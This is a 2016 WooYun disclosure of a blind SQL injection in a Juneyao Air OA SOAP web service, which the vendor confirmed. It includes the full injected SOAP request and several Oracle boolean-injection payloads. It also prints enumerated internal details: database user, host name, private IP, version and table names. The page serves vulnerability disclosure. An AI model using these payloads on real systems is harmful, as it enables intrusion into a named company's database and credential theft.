当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0213615

漏洞标题：航空安全之吉祥航空某系统web service注入漏洞

相关厂商：juneyaoair.com

漏洞作者： harbour_bin

提交时间：2016-05-27 23:09

修复时间：2016-07-14 08:50

公开时间：2016-07-14 08:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-27： 细节已通知厂商并且等待厂商处理中
2016-05-30： 厂商已经确认，细节仅向厂商公开
2016-06-09： 细节向核心白帽子及相关领域专家公开
2016-06-19： 细节向普通白帽子公开
2016-06-29： 细节向实习白帽子公开
2016-07-14： 细节向公众公开

简要描述：

RT

详细说明：

#1 http://oa.juneyaoair.com//services/

1-1.png


#2 注入位置

POST http://oa.juneyaoair.com//services/MobileService HTTP/1.0
SOAPAction: ""
Content-Type: text/xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"  xmlns:xsd="http://www.w3.org/1999/XMLSchema"  xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"  xmlns:m0="http://tempuri.org/"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
     <SOAP-ENV:Header/>
     <SOAP-ENV:Body>
        <checkUserLogin xmlns="webservices.services.weaver.com.cn">
           <in0>1' or '1'='1</in0>
           <in1>1</in1>
           <in2>1</in2>
        </checkUserLogin>
     </SOAP-ENV:Body>
</SOAP-ENV:Envelope>


1' or '1'='1 结果为5
1' or '1'='2 结果为4
#3 本地通过C#编写代码, 进行中转注入

1-2.png


#4 数据证明
POC:

1' or (select sys_context('userenv','isdba') from dual)='FALSE' and '1'='1 True
1' or (select sys_context('userenv','current_user') from dual)='OA' and '1'='1 TRUE
1' or (select sys_context('userenv','db_name') from dual)='oanew' and '1'='1 TRUE
1' or (select count(distinct(owner)) from sys.all_tables)=9 and '1'='1 TRUE


用户名：OA
当前数据库: oanew
主机名: OA1-SRV
主机IP：172.20.21.41
数据库版本: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production


数据库

1-3.png


OA数据库共有2008个表
POC：

1' or (select count(*) from sys.all_tables where owner='OA')=2008 and '1'='1


仅列出部分表

HPELEMENTSETTING----2016/5/26 14:48:15
WORKFLOW_FORWARD----2016/5/26 14:48:18
DOCCDANGEWFFIELD----2016/5/26 14:48:20
DOCCHANGESETTING----2016/5/26 14:48:27
PAGENEWSTEMPLATE----2016/5/26 14:48:28
DOCCHANGERECEIVE----2016/5/26 14:48:31
WORKTASK_MONITOR----2016/5/26 14:48:32
WORKTASKSHARESET----2016/5/26 14:48:32
WORKTASK_CODESET----2016/5/26 14:48:36
WORKTASK_BACKLOG----2016/5/26 14:48:37
WORKTASK_CODESEQ----2016/5/26 14:48:48
VORKFLOW_DEPTABBR----2016/5/26 14:48:54
WORKTASK_OPERATOR----2016/5/26 14:49:21
CPTCAPITALCODESEQ----2016/5/26 14:49:24
WORKTASK_TASKLIST----2016/5/26 14:49:25
DOCCHANGEWORKFLOW----2016/5/26 14:49:26
BILL_BOHAIEVECTION----2016/5/26 14:50:06
DOCSUBCATFTPCONFIG----2016/5/26 14:50:10
WORKFLOWXFIELDYEAR----2016/5/26 14:50:12
WORKTASK_FIELDDICT----2016/5/26 14:50:12
DOCSECCATFTPCONFIG----2016/5/26 14:50:18
DOCCHANGERECEIVEWF----2016/5/26 14:50:23
DOCHANDWRITTENCOLOR----2016/5/26 14:50:41
XMLREPORT_SHAREINFO----2016/5/26 14:50:45
CPTSEARCHDEFINITION----2016/5/26 14:50:49
FAVOURITELASTACTIVE----2016/5/26 14:50:54
DOCMAINCATFTPCONFIG----2016/5/26 14:50:57
CPTCAPITALEQUIPMENT----2016/5/26 14:50:57
DOCCHANGESENDDETAIL----2016/5/26 14:50:57
WORKTASK_COD@DETAIL----2016/5/26 14:51:03
WORKFLOW_CREATETASK----2016/5/26 14:51:06
WORKFLOW_SUBCOMABBR----2016/5/26 14:51:08
WORKTASKCREATESHARE----2016/5/26 14:51:08
WORKTASK_TASKFIELD----2016/5/26 14:51:18
WORKTASK_REQUESTLOG----2016/5/26 14:51:18
WORKTASK_SELECTITEM----2016/5/26 14:51:21
OFID----2016/5/26 14:51:22
WORKFLOW_DEPTABBRDEF----2016/5/26 14:51:31
DOCHANDWRITTENDETAIL----2016/5/26 14:51:32
OUTERDATAWFSETDETAIL----2016/5/26 14:51:46
OUTERDATAWFPERIODSET----2016/5/26 14:51:46
OFUSER----2016/5/26 14:51:47
WORKFLOW_TRACKDETAIL----2016/5/26 14:51:49
WORKTASK_REQUESPBASE----2016/5/26 14:52:11
WORKDLOW_SPECIALFIELD----2016/5/26 14:52:56
MAILSIGN----2016/5/26 14:52:57
OFVCARD----2016/5/26 14:53:02
OFGRLUP----2016/5/26 14:53:12
HRMORGGROUP----2016/5/26 14:53:36
OFROSTER----2016/5/26 14:53:43
WORKFLOW_SUBCOMABBRDEF----2016/5/26 14:53:49
WORKFLOW_SUPSUBCOMABBR----2016/5/26 14:53:56
SYSFAVOURITE_FAVOURITE----2016/5/26 14:53:56
PAGENEWSTEMP@ATELAYOUT----2016/5/26 14:54:00
WORKFLOW_CODESEQRECORD----2016/5/26 14:54:03
OFPRIVATE----2016/5/26 14:54:31
...


跑的太慢了, 不继续跑了, 后续可获得大量数据, OA系统的用户名、密码等...

漏洞证明：

已证明！

修复方案：

没什么用的东西, 就删掉吧

版权声明：转载请注明来源 harbour_bin@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-05-30 08:43

厂商回复：

漏洞确认，谢谢

最新状态：

暂无

漏洞评价：

评价